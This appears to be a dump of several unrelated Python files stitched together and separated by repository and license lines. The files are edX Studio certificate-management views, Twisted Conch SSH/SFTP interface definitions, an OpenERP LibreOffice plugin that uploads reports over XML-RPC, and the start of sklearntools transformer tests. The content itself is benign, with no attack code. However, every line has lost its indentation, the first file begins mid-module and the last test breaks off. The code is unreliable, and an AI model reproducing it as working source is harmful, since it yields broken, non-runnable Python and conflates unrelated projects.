from contentstore.utils import get_lms_link_for_certificate_web_view
CERTIFICATE_SCHEMA_VERSION = 1
CERTIFICATE_MINIMUM_ID = 100
def _get_course_and_check_access(course_key, user, depth=0):
"""
Internal method used to calculate and return the locator and
course module for the view functions in this file.
"""
if not has_studio_write_access(user, course_key):
raise PermissionDenied()
course_module = modulestore().get_course(course_key, depth=depth)
return course_module
def _delete_asset(course_key, asset_key_string):
"""
Internal method used to create asset key from string and
remove asset by calling delete_asset method of assets module.
"""
if asset_key_string:
# remove first slash in asset path
# otherwise it generates InvalidKeyError in case of split modulestore
if '/' == asset_key_string[0]:
asset_key_string = asset_key_string[1:]
asset_key = AssetKey.from_string(asset_key_string)
try:
delete_asset(course_key, asset_key)
# If the asset was not found, it doesn't have to be deleted...
except AssetNotFoundException:
pass
# Certificates Exceptions
class CertificateException(Exception):
"""
Base exception for Certificates workflows
"""
pass
class CertificateValidationError(CertificateException):
"""
An exception raised when certificate information is invalid.
"""
pass
class CertificateManager(object):
"""
The CertificateManager is responsible for storage, retrieval, and manipulation of Certificates
Certificates are not stored in the Django ORM, they are a field/setting on the course descriptor
"""
@staticmethod
def parse(json_string):
"""
Deserialize the provided JSON data into a standard Python object
"""
try:
certificate = json.loads(json_string)
except ValueError:
raise CertificateValidationError(_("invalid JSON"))
# Include the data contract version
certificate["version"] = CERTIFICATE_SCHEMA_VERSION
# Ensure a signatories list is always returned
if certificate.get("signatories") is None:
certificate["signatories"] = []
certificate["editing"] = False
return certificate
@staticmethod
def validate(certificate_data):
"""
Ensure the certificate data contains all of the necessary fields and the values match our rules
"""
# Ensure the schema version meets our expectations
if certificate_data.get("version") != CERTIFICATE_SCHEMA_VERSION:
raise TypeError(
"Unsupported certificate schema version: {0}. Expected version: {1}.".format(
certificate_data.get("version"),
CERTIFICATE_SCHEMA_VERSION
)
)
if not certificate_data.get("name"):
raise CertificateValidationError(_("must have name of the certificate"))
@staticmethod
def get_used_ids(course):
"""
Return a list of certificate identifiers that are already in use for this course
"""
if not course.certificates or not course.certificates.get('certificates'):
return []
return [cert['id'] for cert in course.certificates['certificates']]
@staticmethod
def assign_id(course, certificate_data, certificate_id=None):
"""
Assign an identifier to the provided certificate data.
If the caller did not provide an identifier, we autogenerate a unique one for them
In addition, we check the certificate's signatories and ensure they also have unique ids
"""
used_ids = CertificateManager.get_used_ids(course)
if certificate_id:
certificate_data['id'] = int(certificate_id)
else:
certificate_data['id'] = generate_int_id(
CERTIFICATE_MINIMUM_ID,
MYSQL_MAX_INT,
used_ids
)
for index, signatory in enumerate(certificate_data['signatories']): # pylint: disable=unused-variable
if signatory and not signatory.get('id', False):
signatory['id'] = generate_int_id(used_ids=used_ids)
used_ids.append(signatory['id'])
return certificate_data
@staticmethod
def serialize_certificate(certificate):
"""
Serialize the Certificate object's locally-stored certificate data to a JSON representation
We use direct access here for specific keys in order to enforce their presence
"""
certificate_data = certificate.certificate_data
certificate_response = {
"id": certificate_data['id'],
"name": certificate_data['name'],
"description": certificate_data['description'],
"is_active": certificate_data['is_active'],
"version": CERTIFICATE_SCHEMA_VERSION,
"signatories": certificate_data['signatories']
}
# Some keys are not required, such as the title override...
if certificate_data.get('course_title'):
certificate_response["course_title"] = certificate_data['course_title']
return certificate_response
@staticmethod
def deserialize_certificate(course, value):
"""
Deserialize from a JSON representation into a Certificate object.
'value' should be either a Certificate instance, or a valid JSON string
"""
# Ensure the schema fieldset meets our expectations
for key in ("name", "description", "version"):
if key not in value:
raise CertificateValidationError(_("Certificate dict {0} missing value key '{1}'").format(value, key))
# Load up the Certificate data
certificate_data = CertificateManager.parse(value)
CertificateManager.validate(certificate_data)
certificate_data = CertificateManager.assign_id(course, certificate_data, certificate_data.get('id', None))
certificate = Certificate(course, certificate_data)
# Return a new Certificate object instance
return certificate
@staticmethod
def get_certificates(course, only_active=False):
"""
Retrieve the certificates list from the provided course,
if `only_active` is True it would skip inactive certificates.
"""
# The top-level course field is 'certificates', which contains various properties,
# including the actual 'certificates' list that we're working with in this context
certificates = course.certificates.get('certificates', [])
if only_active:
certificates = [certificate for certificate in certificates if certificate.get('is_active', False)]
return certificates
@staticmethod
def remove_certificate(request, store, course, certificate_id):
"""
Remove certificate from the course
"""
for index, cert in enumerate(course.certificates['certificates']):
if int(cert['id']) == int(certificate_id):
certificate = course.certificates['certificates'][index]
# Remove any signatory assets prior to dropping the entire cert record from the course
for sig_index, signatory in enumerate(certificate.get('signatories')): # pylint: disable=unused-variable
_delete_asset(course.id, signatory['signature_image_path'])
# Now drop the certificate record
course.certificates['certificates'].pop(index)
store.update_item(course, request.user.id)
break
# pylint-disable: unused-variable
@staticmethod
def remove_signatory(request, store, course, certificate_id, signatory_id):
"""
Remove the specified signatory from the provided course certificate
"""
for cert_index, cert in enumerate(course.certificates['certificates']): # pylint: disable=unused-variable
if int(cert['id']) == int(certificate_id):
for sig_index, signatory in enumerate(cert.get('signatories')):
if int(signatory_id) == int(signatory['id']):
_delete_asset(course.id, signatory['signature_image_path'])
del cert['signatories'][sig_index]
store.update_item(course, request.user.id)
break
@staticmethod
def track_event(event_name, event_data):
"""Track certificate configuration event.
Arguments:
event_name (str): Name of the event to be logged.
event_data (dict): A Dictionary containing event data
Returns:
None
"""
event_name = '.'.join(['edx', 'certificate', 'configuration', event_name])
tracker.emit(event_name, event_data)
class Certificate(object):
"""
The logical representation of an individual course certificate
"""
def __init__(self, course, certificate_data):
"""
Instantiate a Certificate object instance using the provided information.
"""
self.course = course
self._certificate_data = certificate_data
self.id = certificate_data['id'] # pylint: disable=invalid-name
@property
def certificate_data(self):
"""
Retrieve the locally-stored certificate data from the Certificate object via a helper method
"""
return self._certificate_data
@login_required
@require_http_methods(("POST",))
@ensure_csrf_cookie
def certificate_activation_handler(request, course_key_string):
"""
A handler for Certificate Activation/Deactivation
POST
json: is_active. update the activation state of certificate
"""
# Only global staff (PMs) are able to activate/deactivate certificate configuration
if not GlobalStaff().has_user(request.user):
raise PermissionDenied()
course_key = CourseKey.from_string(course_key_string)
store = modulestore()
try:
course = _get_course_and_check_access(course_key, request.user)
except PermissionDenied:
msg = _('PermissionDenied: Failed in authenticating {user}').format(user=request.user)
return JsonResponse({"error": msg}, status=403)
data = json.loads(request.body)
is_active = data.get('is_active', False)
certificates = CertificateManager.get_certificates(course)
# for certificate activation/deactivation, we are assuming one certificate in certificates collection.
for certificate in certificates:
certificate['is_active'] = is_active
break
store.update_item(course, request.user.id)
cert_event_type = 'activated' if is_active else 'deactivated'
CertificateManager.track_event(cert_event_type, {
'course_id': unicode(course.id),
})
return HttpResponse(status=200)
@login_required
@require_http_methods(("GET", "POST"))
@ensure_csrf_cookie
def certificates_list_handler(request, course_key_string):
"""
A RESTful handler for Course Certificates
GET
html: return Certificates list page (Backbone application)
POST
json: create new Certificate
"""
course_key = CourseKey.from_string(course_key_string)
store = modulestore()
with store.bulk_operations(course_key):
try:
course = _get_course_and_check_access(course_key, request.user)
except PermissionDenied:
msg = _('PermissionDenied: Failed in authenticating {user}').format(user=request.user)
return JsonResponse({"error": msg}, status=403)
if 'text/html' in request.META.get('HTTP_ACCEPT', 'text/html'):
certificate_url = reverse_course_url('certificates.certificates_list_handler', course_key)
course_outline_url = reverse_course_url('course_handler', course_key)
upload_asset_url = reverse_course_url('assets_handler', course_key)
activation_handler_url = reverse_course_url(
handler_name='certificates.certificate_activation_handler',
course_key=course_key
)
course_modes = [
mode.slug for mode in CourseMode.modes_for_course(
course_id=course.id, include_expired=True
) if mode.slug != 'audit'
]
has_certificate_modes = len(course_modes) > 0
if has_certificate_modes:
certificate_web_view_url = get_lms_link_for_certificate_web_view(
user_id=request.user.id,
course_key=course_key,
mode=course_modes[0] # CourseMode.modes_for_course returns default mode if doesn't find anyone.
)
else:
certificate_web_view_url = None
certificates = None
is_active = False
if settings.FEATURES.get('CERTIFICATES_HTML_VIEW', False):
certificates = CertificateManager.get_certificates(course)
# we are assuming only one certificate in certificates collection.
for certificate in certificates:
is_active = certificate.get('is_active', False)
break
return render_to_response('certificates.html', {
'context_course': course,
'certificate_url': certificate_url,
'course_outline_url': course_outline_url,
'upload_asset_url': upload_asset_url,
'certificates': certificates,
'has_certificate_modes': has_certificate_modes,
'course_modes': course_modes,
'certificate_web_view_url': certificate_web_view_url,
'is_active': is_active,
'is_global_staff': GlobalStaff().has_user(request.user),
'certificate_activation_handler_url': activation_handler_url
})
elif "application/json" in request.META.get('HTTP_ACCEPT'):
# Retrieve the list of certificates for the specified course
if request.method == 'GET':
certificates = CertificateManager.get_certificates(course)
return JsonResponse(certificates, encoder=EdxJSONEncoder)
elif request.method == 'POST':
# Add a new certificate to the specified course
try:
new_certificate = CertificateManager.deserialize_certificate(course, request.body)
except CertificateValidationError as err:
return JsonResponse({"error": err.message}, status=400)
if course.certificates.get('certificates') is None:
course.certificates['certificates'] = []
course.certificates['certificates'].append(new_certificate.certificate_data)
response = JsonResponse(CertificateManager.serialize_certificate(new_certificate), status=201)
response["Location"] = reverse_course_url(
'certificates.certificates_detail_handler',
course.id,
kwargs={'certificate_id': new_certificate.id}
)
store.update_item(course, request.user.id)
CertificateManager.track_event('created', {
'course_id': unicode(course.id),
'configuration_id': new_certificate.id
})
course = _get_course_and_check_access(course_key, request.user)
return response
else:
return HttpResponse(status=406)
@login_required
@ensure_csrf_cookie
@require_http_methods(("POST", "PUT", "DELETE"))
def certificates_detail_handler(request, course_key_string, certificate_id):
"""
JSON API endpoint for manipulating a course certificate via its internal identifier.
Utilized by the Backbone.js 'certificates' application model
POST or PUT
json: update the specified certificate based on provided information
DELETE
json: remove the specified certificate from the course
"""
course_key = CourseKey.from_string(course_key_string)
course = _get_course_and_check_access(course_key, request.user)
certificates_list = course.certificates.get('certificates', [])
match_index = None
match_cert = None
for index, cert in enumerate(certificates_list):
if certificate_id is not None:
if int(cert['id']) == int(certificate_id):
match_index = index
match_cert = cert
store = modulestore()
if request.method in ('POST', 'PUT'):
if certificate_id:
active_certificates = CertificateManager.get_certificates(course, only_active=True)
if int(certificate_id) in [int(certificate["id"]) for certificate in active_certificates]:
# Only global staff (PMs) are able to edit active certificate configuration
if not GlobalStaff().has_user(request.user):
raise PermissionDenied()
try:
new_certificate = CertificateManager.deserialize_certificate(course, request.body)
except CertificateValidationError as err:
return JsonResponse({"error": err.message}, status=400)
serialized_certificate = CertificateManager.serialize_certificate(new_certificate)
cert_event_type = 'created'
if match_cert:
cert_event_type = 'modified'
certificates_list[match_index] = serialized_certificate
else:
certificates_list.append(serialized_certificate)
store.update_item(course, request.user.id)
CertificateManager.track_event(cert_event_type, {
'course_id': unicode(course.id),
'configuration_id': serialized_certificate["id"]
})
return JsonResponse(serialized_certificate, status=201)
elif request.method == "DELETE":
if not match_cert:
return JsonResponse(status=404)
active_certificates = CertificateManager.get_certificates(course, only_active=True)
if int(certificate_id) in [int(certificate["id"]) for certificate in active_certificates]:
# Only global staff (PMs) are able to delete active certificate configuration
if not GlobalStaff().has_user(request.user):
raise PermissionDenied()
CertificateManager.remove_certificate(
request=request,
store=store,
course=course,
certificate_id=certificate_id
)
CertificateManager.track_event('deleted', {
'course_id': unicode(course.id),
'configuration_id': certificate_id
})
return JsonResponse(status=204)
@login_required
@ensure_csrf_cookie
@require_http_methods(("POST", "PUT", "DELETE"))
def signatory_detail_handler(request, course_key_string, certificate_id, signatory_id):
"""
JSON API endpoint for manipulating a specific course certificate signatory via its internal identifier.
Utilized by the Backbone 'certificates' application.
DELETE
json: Remove the specified signatory from the specified certificate
"""
course_key = CourseKey.from_string(course_key_string)
store = modulestore()
with store.bulk_operations(course_key):
course = _get_course_and_check_access(course_key, request.user)
certificates_list = course.certificates['certificates']
match_cert = None
# pylint: disable=unused-variable
for index, cert in enumerate(certificates_list):
if certificate_id is not None:
if int(cert['id']) == int(certificate_id):
match_cert = cert
if request.method == "DELETE":
if not match_cert:
return JsonResponse(status=404)
CertificateManager.remove_signatory(
request=request,
store=store,
course=course,
certificate_id=certificate_id,
signatory_id=signatory_id
)
return JsonResponse(status=204)
| agpl-3.0 |
hendradarwin/VTK | ThirdParty/Twisted/twisted/conch/interfaces.py | 23 | 13038 | # Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
This module contains interfaces defined for the L{twisted.conch} package.
"""
from zope.interface import Interface, Attribute
class IConchUser(Interface):
"""
A user who has been authenticated to Cred through Conch. This is
the interface between the SSH connection and the user.
"""
conn = Attribute('The SSHConnection object for this user.')
def lookupChannel(channelType, windowSize, maxPacket, data):
"""
The other side requested a channel of some sort.
channelType is the type of channel being requested,
windowSize is the initial size of the remote window,
maxPacket is the largest packet we should send,
data is any other packet data (often nothing).
We return a subclass of L{SSHChannel<ssh.channel.SSHChannel>}. If
an appropriate channel can not be found, an exception will be
raised. If a L{ConchError<error.ConchError>} is raised, the .value
will be the message, and the .data will be the error code.
@type channelType: C{str}
@type windowSize: C{int}
@type maxPacket: C{int}
@type data: C{str}
@rtype: subclass of L{SSHChannel}/C{tuple}
"""
def lookupSubsystem(subsystem, data):
"""
The other side requested a subsystem.
subsystem is the name of the subsystem being requested.
data is any other packet data (often nothing).
We return a L{Protocol}.
"""
def gotGlobalRequest(requestType, data):
"""
A global request was sent from the other side.
By default, this dispatches to a method 'channel_channelType' with any
non-alphanumerics in the channelType replace with _'s. If it cannot
find a suitable method, it returns an OPEN_UNKNOWN_CHANNEL_TYPE error.
The method is called with arguments of windowSize, maxPacket, data.
"""
class ISession(Interface):
def getPty(term, windowSize, modes):
"""
Get a psuedo-terminal for use by a shell or command.
If a psuedo-terminal is not available, or the request otherwise
fails, raise an exception.
"""
def openShell(proto):
"""
Open a shell and connect it to proto.
@param proto: a L{ProcessProtocol} instance.
"""
def execCommand(proto, command):
"""
Execute a command.
@param proto: a L{ProcessProtocol} instance.
"""
def windowChanged(newWindowSize):
"""
Called when the size of the remote screen has changed.
"""
def eofReceived():
"""
Called when the other side has indicated no more data will be sent.
"""
def closed():
"""
Called when the session is closed.
"""
class ISFTPServer(Interface):
"""
SFTP subsystem for server-side communication.
Each method should check to verify that the user has permission for
their actions.
"""
avatar = Attribute(
"""
The avatar returned by the Realm that we are authenticated with,
and represents the logged-in user.
""")
def gotVersion(otherVersion, extData):
"""
Called when the client sends their version info.
otherVersion is an integer representing the version of the SFTP
protocol they are claiming.
extData is a dictionary of extended_name : extended_data items.
These items are sent by the client to indicate additional features.
This method should return a dictionary of extended_name : extended_data
items. These items are the additional features (if any) supported
by the server.
"""
return {}
def openFile(filename, flags, attrs):
"""
Called when the clients asks to open a file.
@param filename: a string representing the file to open.
@param flags: an integer of the flags to open the file with, ORed together.
The flags and their values are listed at the bottom of this file.
@param attrs: a list of attributes to open the file with. It is a
dictionary, consisting of 0 or more keys. The possible keys are::
size: the size of the file in bytes
uid: the user ID of the file as an integer
gid: the group ID of the file as an integer
permissions: the permissions of the file with as an integer.
the bit representation of this field is defined by POSIX.
atime: the access time of the file as seconds since the epoch.
mtime: the modification time of the file as seconds since the epoch.
ext_*: extended attributes. The server is not required to
understand this, but it may.
NOTE: there is no way to indicate text or binary files. it is up
to the SFTP client to deal with this.
This method returns an object that meets the ISFTPFile interface.
Alternatively, it can return a L{Deferred} that will be called back
with the object.
"""
def removeFile(filename):
"""
Remove the given file.
This method returns when the remove succeeds, or a Deferred that is
called back when it succeeds.
@param filename: the name of the file as a string.
"""
def renameFile(oldpath, newpath):
"""
Rename the given file.
This method returns when the rename succeeds, or a L{Deferred} that is
called back when it succeeds. If the rename fails, C{renameFile} will
raise an implementation-dependent exception.
@param oldpath: the current location of the file.
@param newpath: the new file name.
"""
def makeDirectory(path, attrs):
"""
Make a directory.
This method returns when the directory is created, or a Deferred that
is called back when it is created.
@param path: the name of the directory to create as a string.
@param attrs: a dictionary of attributes to create the directory with.
Its meaning is the same as the attrs in the L{openFile} method.
"""
def removeDirectory(path):
"""
Remove a directory (non-recursively)
It is an error to remove a directory that has files or directories in
it.
This method returns when the directory is removed, or a Deferred that
is called back when it is removed.
@param path: the directory to remove.
"""
def openDirectory(path):
"""
Open a directory for scanning.
This method returns an iterable object that has a close() method,
or a Deferred that is called back with same.
The close() method is called when the client is finished reading
from the directory. At this point, the iterable will no longer
be used.
The iterable should return triples of the form (filename,
longname, attrs) or Deferreds that return the same. The
sequence must support __getitem__, but otherwise may be any
'sequence-like' object.
filename is the name of the file relative to the directory.
logname is an expanded format of the filename. The recommended format
is:
-rwxr-xr-x 1 mjos staff 348911 Mar 25 14:29 t-filexfer
1234567890 123 12345678 12345678 12345678 123456789012
The first line is sample output, the second is the length of the field.
The fields are: permissions, link count, user owner, group owner,
size in bytes, modification time.
attrs is a dictionary in the format of the attrs argument to openFile.
@param path: the directory to open.
"""
def getAttrs(path, followLinks):
"""
Return the attributes for the given path.
This method returns a dictionary in the same format as the attrs
argument to openFile or a Deferred that is called back with same.
@param path: the path to return attributes for as a string.
@param followLinks: a boolean. If it is True, follow symbolic links
and return attributes for the real path at the base. If it is False,
return attributes for the specified path.
"""
def setAttrs(path, attrs):
"""
Set the attributes for the path.
This method returns when the attributes are set or a Deferred that is
called back when they are.
@param path: the path to set attributes for as a string.
@param attrs: a dictionary in the same format as the attrs argument to
L{openFile}.
"""
def readLink(path):
"""
Find the root of a set of symbolic links.
This method returns the target of the link, or a Deferred that
returns the same.
@param path: the path of the symlink to read.
"""
def makeLink(linkPath, targetPath):
"""
Create a symbolic link.
This method returns when the link is made, or a Deferred that
returns the same.
@param linkPath: the pathname of the symlink as a string.
@param targetPath: the path of the target of the link as a string.
"""
def realPath(path):
"""
Convert any path to an absolute path.
This method returns the absolute path as a string, or a Deferred
that returns the same.
@param path: the path to convert as a string.
"""
def extendedRequest(extendedName, extendedData):
"""
This is the extension mechanism for SFTP. The other side can send us
arbitrary requests.
If we don't implement the request given by extendedName, raise
NotImplementedError.
The return value is a string, or a Deferred that will be called
back with a string.
@param extendedName: the name of the request as a string.
@param extendedData: the data the other side sent with the request,
as a string.
"""
class IKnownHostEntry(Interface):
"""
A L{IKnownHostEntry} is an entry in an OpenSSH-formatted C{known_hosts}
file.
@since: 8.2
"""
def matchesKey(key):
"""
Return True if this entry matches the given Key object, False
otherwise.
@param key: The key object to match against.
@type key: L{twisted.conch.ssh.Key}
"""
def matchesHost(hostname):
"""
Return True if this entry matches the given hostname, False otherwise.
Note that this does no name resolution; if you want to match an IP
address, you have to resolve it yourself, and pass it in as a dotted
quad string.
@param key: The hostname to match against.
@type key: L{str}
"""
def toString():
"""
@return: a serialized string representation of this entry, suitable for
inclusion in a known_hosts file. (Newline not included.)
@rtype: L{str}
"""
class ISFTPFile(Interface):
"""
This represents an open file on the server. An object adhering to this
interface should be returned from L{openFile}().
"""
def close():
"""
Close the file.
This method returns nothing if the close succeeds immediately, or a
Deferred that is called back when the close succeeds.
"""
def readChunk(offset, length):
"""
Read from the file.
If EOF is reached before any data is read, raise EOFError.
This method returns the data as a string, or a Deferred that is
called back with same.
@param offset: an integer that is the index to start from in the file.
@param length: the maximum length of data to return. The actual amount
returned may less than this. For normal disk files, however,
this should read the requested number (up to the end of the file).
"""
def writeChunk(offset, data):
"""
Write to the file.
This method returns when the write completes, or a Deferred that is
called when it completes.
@param offset: an integer that is the index to start from in the file.
@param data: a string that is the data to write.
"""
def getAttrs():
"""
Return the attributes for the file.
This method returns a dictionary in the same format as the attrs
argument to L{openFile} or a L{Deferred} that is called back with same.
"""
def setAttrs(attrs):
"""
Set the attributes for the file.
This method returns when the attributes are set or a Deferred that is
called back when they are.
@param attrs: a dictionary in the same format as the attrs argument to
L{openFile}.
"""
| bsd-3-clause |
jiangzhixiao/odoo | addons/base_report_designer/plugin/openerp_report_designer/bin/script/SendToServer.py | 293 | 10562 | #########################################################################
#
# Copyright (c) 2003-2004 Danny Brewer d29583@groovegarden.com
# Copyright (C) 2004-2010 OpenERP SA (<http://openerp.com>).
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
#
# See: http://www.gnu.org/licenses/lgpl.html
#
#############################################################################
import uno
import string
import unohelper
import random
import xmlrpclib
import base64, tempfile
from com.sun.star.task import XJobExecutor
import os
import sys
if __name__<>'package':
from lib.gui import *
from lib.error import *
from lib.functions import *
from lib.logreport import *
from lib.tools import *
from LoginTest import *
from lib.rpc import *
database="report"
uid = 3
class SendtoServer(unohelper.Base, XJobExecutor):
Kind = {
'PDF' : 'pdf',
'OpenOffice': 'sxw',
'HTML' : 'html'
}
def __init__(self, ctx):
self.ctx = ctx
self.module = "openerp_report"
self.version = "0.1"
LoginTest()
self.logobj=Logger()
if not loginstatus and __name__=="package":
exit(1)
global passwd
self.password = passwd
global url
self.sock=RPCSession(url)
desktop=getDesktop()
oDoc2 = desktop.getCurrentComponent()
docinfo=oDoc2.getDocumentInfo()
self.ids = self.sock.execute(database, uid, self.password, 'ir.module.module', 'search', [('name','=','base_report_designer'),('state', '=', 'installed')])
if not len(self.ids):
ErrorDialog("Please install base_report_designer module.", "", "Module Uninstalled Error!")
exit(1)
report_name = ""
name=""
if docinfo.getUserFieldValue(2)<>"" :
try:
fields=['name','report_name']
self.res_other = self.sock.execute(database, uid, self.password, 'ir.actions.report.xml', 'read', [int(docinfo.getUserFieldValue(2))],fields)
name = self.res_other[0]['name']
report_name = self.res_other[0]['report_name']
except:
import traceback,sys
info = reduce(lambda x, y: x+y, traceback.format_exception(sys.exc_type, sys.exc_value, sys.exc_traceback))
self.logob.log_write('ServerParameter', LOG_ERROR, info)
elif docinfo.getUserFieldValue(3) <> "":
name = ""
result = "rnd"
for i in range(5):
result =result + random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')
report_name = docinfo.getUserFieldValue(3) + "." + result
else:
ErrorDialog("Please select appropriate module...","Note: use Odoo Report -> Open a new Report", "Module selection ERROR");
exit(1)
self.win = DBModalDialog(60, 50, 180, 100, "Send To Server")
self.win.addFixedText("lblName",10 , 9, 40, 15, "Report Name :")
self.win.addEdit("txtName", -5, 5, 123, 15,name)
self.win.addFixedText("lblReportName", 2, 30, 50, 15, "Technical Name :")
self.win.addEdit("txtReportName", -5, 25, 123, 15,report_name)
self.win.addCheckBox("chkHeader", 51, 45, 70 ,15, "Corporate Header")
self.win.setCheckBoxState("chkHeader", True)
self.win.addFixedText("lblResourceType", 2 , 60, 50, 15, "Select Rpt. Type :")
self.win.addComboListBox("lstResourceType", -5, 58, 123, 15,True,itemListenerProc=self.lstbox_selected)
self.lstResourceType = self.win.getControl( "lstResourceType" )
self.txtReportName=self.win.getControl( "txtReportName" )
self.txtReportName.Enable=False
for kind in self.Kind.keys():
self.lstResourceType.addItem( kind, self.lstResourceType.getItemCount() )
self.win.addButton( "btnSend", -5, -5, 80, 15, "Send Report to Server", actionListenerProc = self.btnOk_clicked)
self.win.addButton( "btnCancel", -5 - 80 -5, -5, 40, 15, "Cancel", actionListenerProc = self.btnCancel_clicked)
self.win.doModalDialog("lstResourceType", self.Kind.keys()[0])
def lstbox_selected(self, oItemEvent):
pass
def btnCancel_clicked(self, oActionEvent):
self.win.endExecute()
def btnOk_clicked(self, oActionEvent):
if self.win.getEditText("txtName") <> "" and self.win.getEditText("txtReportName") <> "":
desktop=getDesktop()
oDoc2 = desktop.getCurrentComponent()
docinfo=oDoc2.getDocumentInfo()
self.getInverseFieldsRecord(1)
fp_name = tempfile.mktemp('.'+"sxw")
if not oDoc2.hasLocation():
oDoc2.storeAsURL("file://"+fp_name,Array(makePropertyValue("MediaType","application/vnd.sun.xml.writer"),))
if docinfo.getUserFieldValue(2)=="":
name=self.win.getEditText("txtName"),
name_id={}
try:
name_id = self.sock.execute(database, uid, self.password, 'ir.actions.report.xml' , 'search',[('name','=',name)])
if not name_id:
id=self.getID()
docinfo.setUserFieldValue(2,id)
rec = {
'name': self.win.getEditText("txtReportName"),
'key': 'action',
'model': docinfo.getUserFieldValue(3),
'value': 'ir.actions.report.xml,'+str(id),
'key2': 'client_print_multi',
'object': True,
'user_id': uid
}
res = self.sock.execute(database, uid, self.password, 'ir.values' , 'create',rec )
else :
ErrorDialog("This name is already used for another report.\nPlease try with another name.", "", "Error!")
self.logobj.log_write('SendToServer',LOG_WARNING, ': report name already used DB %s' % (database))
self.win.endExecute()
except Exception,e:
import traceback,sys
info = reduce(lambda x, y: x+y, traceback.format_exception(sys.exc_type, sys.exc_value, sys.exc_traceback))
self.logobj.log_write('ServerParameter', LOG_ERROR, info)
else:
id = docinfo.getUserFieldValue(2)
vId = self.sock.execute(database, uid, self.password, 'ir.values' , 'search', [('value','=','ir.actions.report.xml,'+str(id))])
rec = { 'name': self.win.getEditText("txtReportName") }
res = self.sock.execute(database, uid, self.password, 'ir.values' , 'write',vId,rec)
oDoc2.store()
data = read_data_from_file( get_absolute_file_path( oDoc2.getURL()[7:] ) )
self.getInverseFieldsRecord(0)
#sock = xmlrpclib.ServerProxy(docinfo.getUserFieldValue(0) +'/xmlrpc/object')
file_type = oDoc2.getURL()[7:].split(".")[-1]
params = {
'name': self.win.getEditText("txtName"),
'model': docinfo.getUserFieldValue(3),
'report_name': self.win.getEditText("txtReportName"),
'header': (self.win.getCheckBoxState("chkHeader") <> 0),
'report_type': self.Kind[self.win.getListBoxSelectedItem("lstResourceType")],
}
if self.win.getListBoxSelectedItem("lstResourceType")=='OpenOffice':
params['report_type']=file_type
self.sock.execute(database, uid, self.password, 'ir.actions.report.xml', 'write', int(docinfo.getUserFieldValue(2)), params)
# Call upload_report as the *last* step, as it will call register_all() and cause the report service
# to be loaded - which requires all the data to be correct in the database
self.sock.execute(database, uid, self.password, 'ir.actions.report.xml', 'upload_report', int(docinfo.getUserFieldValue(2)),base64.encodestring(data),file_type,{})
self.logobj.log_write('SendToServer',LOG_INFO, ':Report %s successfully send using %s'%(params['name'],database))
self.win.endExecute()
else:
ErrorDialog("Either report name or technical name is empty.\nPlease specify an appropriate name.", "", "Error!")
self.logobj.log_write('SendToServer',LOG_WARNING, ': either report name or technical name is empty.')
self.win.endExecute()
def getID(self):
desktop=getDesktop()
doc = desktop.getCurrentComponent()
docinfo=doc.getDocumentInfo()
params = {
'name': self.win.getEditText("txtName"),
'model': docinfo.getUserFieldValue(3),
'report_name': self.win.getEditText('txtReportName')
}
id=self.sock.execute(database, uid, self.password, 'ir.actions.report.xml' ,'create', params)
return id
def getInverseFieldsRecord(self, nVal):
desktop=getDesktop()
doc = desktop.getCurrentComponent()
count=0
oParEnum = doc.getTextFields().createEnumeration()
while oParEnum.hasMoreElements():
oPar = oParEnum.nextElement()
if oPar.supportsService("com.sun.star.text.TextField.DropDown"):
oPar.SelectedItem = oPar.Items[nVal]
if nVal==0:
oPar.update()
if __name__<>"package" and __name__=="__main__":
SendtoServer(None)
elif __name__=="package":
g_ImplementationHelper.addImplementation( SendtoServer, "org.openoffice.openerp.report.sendtoserver", ("com.sun.star.task.Job",),)
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
| agpl-3.0 |
jcrudy/sklearntools | sklearntools/test/test_transformers.py | 1 | 3613 | from sklearntools.transformers import Constant, VariableTransformer, Identity,\
Censor, NanMap, Log
import numpy as np
import pandas
from numpy.testing.utils import assert_array_almost_equal
from sklearn.datasets.base import load_boston
from pyearth.earth import Earth
from sklearntools.calibration import ResponseTransformingEstimator
from sklearn.metrics.regression import r2_score
# from sklearntools.sym.printers import exec_module, model_to_code
def test_with_response_transformation():
X, y = load_boston(return_X_y=True)
log_y = np.log(y)
X = pandas.DataFrame(X, columns=['x%d' % i for i in range(X.shape[1])])
y = pandas.DataFrame(y, columns=['y'])
transformer = VariableTransformer(dict(y=Log(Identity('y'))))
model = ResponseTransformingEstimator(Earth(), transformer)
model.fit(X, y)
log_y_pred = model.predict(X)
assert r2_score(log_y, log_y_pred) > .8
assert r2_score(y, log_y_pred) < .1
def test_transformation_system():
np.random.seed(1)
x = Identity('x')
y = Identity('y')
z = Identity('z')
d = (x + y) / z
transformer = VariableTransformer(dict(d=d), exclusive=True)
X = pandas.DataFrame(np.random.normal(size=(10,3)), columns=['x','y','z'])
transformer.fit(X)
assert_array_almost_equal(transformer.transform(X)['d'], (X['x'] + X['y']) / X['z'])
# numpy_test_module = exec_module('numpy_test_module', model_to_code(transformer, 'numpy', 'transform', 'test_model'))
# assert_array_almost_equal(pandas.DataFrame(dict(zip(['x', 'y', 'z', 'd'], numpy_test_module.test_model(**X))))[['x', 'y', 'z', 'd']], transformer.transform(X))
def test_rate():
np.random.seed(1)
X = pandas.DataFrame({'count': np.random.poisson(1., size=100), 'duration': np.random.poisson(5., size=100)})
rate = Censor(Identity('count') / Identity('duration'), Identity('duration') < 4)
transformer = VariableTransformer(dict(rate=rate))
transformer.fit(X)
target = X['count'] / X['duration']
target[X['duration'] < 4] = np.nan
assert_array_almost_equal(transformer.transform(X)['rate'], target)
# numpy_test_module = exec_module('numpy_test_module', model_to_code(transformer, 'numpy', 'transform', 'test_model'))
# assert_array_almost_equal(pandas.DataFrame(dict(zip(['count', 'duration', 'rate'], numpy_test_module.test_model(**X))))[['count', 'duration', 'rate']], transformer.transform(X))
def test_uncensor():
X = pandas.DataFrame(np.random.normal(size=(10,3)), columns=['x','y','z'])
X.loc[1,'x'] = np.nan
X.loc[2, 'y'] = np.nan
